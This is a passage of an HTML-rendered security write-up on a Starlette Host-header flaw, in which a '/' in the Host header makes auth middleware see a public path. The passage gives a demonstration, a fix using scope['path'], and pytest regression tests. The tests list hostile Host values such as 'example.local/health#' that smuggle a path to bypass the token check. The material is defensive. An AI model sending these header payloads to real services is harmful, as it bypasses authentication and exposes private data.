&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;headers&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: [(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;host&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, host)], &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;query_string&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;scheme&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;server&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;client&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;10.0.0.9&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;5555&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; host &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local/health#&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    request &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Request(scope(host))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Host=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;host.decode()&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:24&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; url.path=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;request.url.path&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:16&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; scope=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;scope(host)[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Host=example.local            url.path=/private/data    scope=/private/data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Host=example.local/health#    url.path=/health          scope=/private/data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The router will dispatch to &lt;code&gt;/private/data&lt;/code&gt; in both cases. The middleware sees &lt;code&gt;/health&lt;/code&gt; in the second and waves it through.&lt;/p&gt;
&lt;h2&gt;Fix it at the source of the string&lt;/h2&gt;
&lt;p&gt;One accessor, used everywhere a path drives a security decision:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# app.py (replace the middleware above)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; request_path&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(request: Request) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;The path the ROUTER dispatches on.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    Never request.url.path: starlette rebuilds that from the Host header, so a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;/&apos; in an attacker-supplied header moves the path boundary. scope[&quot;path&quot;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    is set by the ASGI server from the request line and no header can touch it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; request.scope[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@app.middleware&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; require_token&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(request: Request, call_next):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; request_path(request)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; API_TOKEN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; is_public_path(path):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; call_next(request)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    header &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; request.headers.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;authorization&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; secrets.compare_digest(header, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Bearer &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;API_TOKEN&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSONResponse({&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;unauthorized&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}, status_code&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;401&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; call_next(request)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upgrading starlette fixes this specific CVE, and you should do that too. It is the weaker half. The bump closes one instance; reading the router’s own path closes the class, and it keeps working when a transitive dependency re-pins starlette underneath you.&lt;/p&gt;
&lt;h2&gt;Verify it, against your own service&lt;/h2&gt;
&lt;p&gt;Point this at your app and run it. The first test is the invariant; the second is the end-to-end proof.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# test_auth_path.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; httpx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pytest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; starlette.requests &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; app &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; appmod&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@pytest.fixture&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; anyio_backend&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;asyncio&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;HOSTILE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local/health#&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local/health?&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local:8765/health#&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/health#&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_request_path_is_invariant_under_any_host_header&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; host &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;HOSTILE]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        scope &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot;type&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;method&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/private/data&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot;headers&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: [(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;host&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, host)], &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;query_string&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot;scheme&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;server&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.local&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot;client&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;10.0.0.9&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;5555&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        request &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Request(scope)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; appmod.request_path(request) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;/private/data&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; appmod.is_public_path(appmod.request_path(request)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@pytest.mark.anyio&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_poisoned_host_cannot_bypass_the_token&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(monkeypatch):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    monkeypatch.setattr(appmod, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;API_TOKEN&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;test-token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    transport &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; httpx.ASGITransport(app&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;appmod.app)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; httpx.AsyncClient(transport&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;transport, base_url&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http://t&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; client:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; host &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; HOSTILE:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            response &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; client.get(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;                &quot;/private/data&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, headers&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Host&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: host.decode()})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; response.status_code &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 401&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;                f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Host=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;host&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!r&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; bypassed the gate: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;response.status_code&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@pytest.mark.anyio&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_health_stays_public&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(monkeypatch):&lt;/span&gt;&lt;/span&gt;
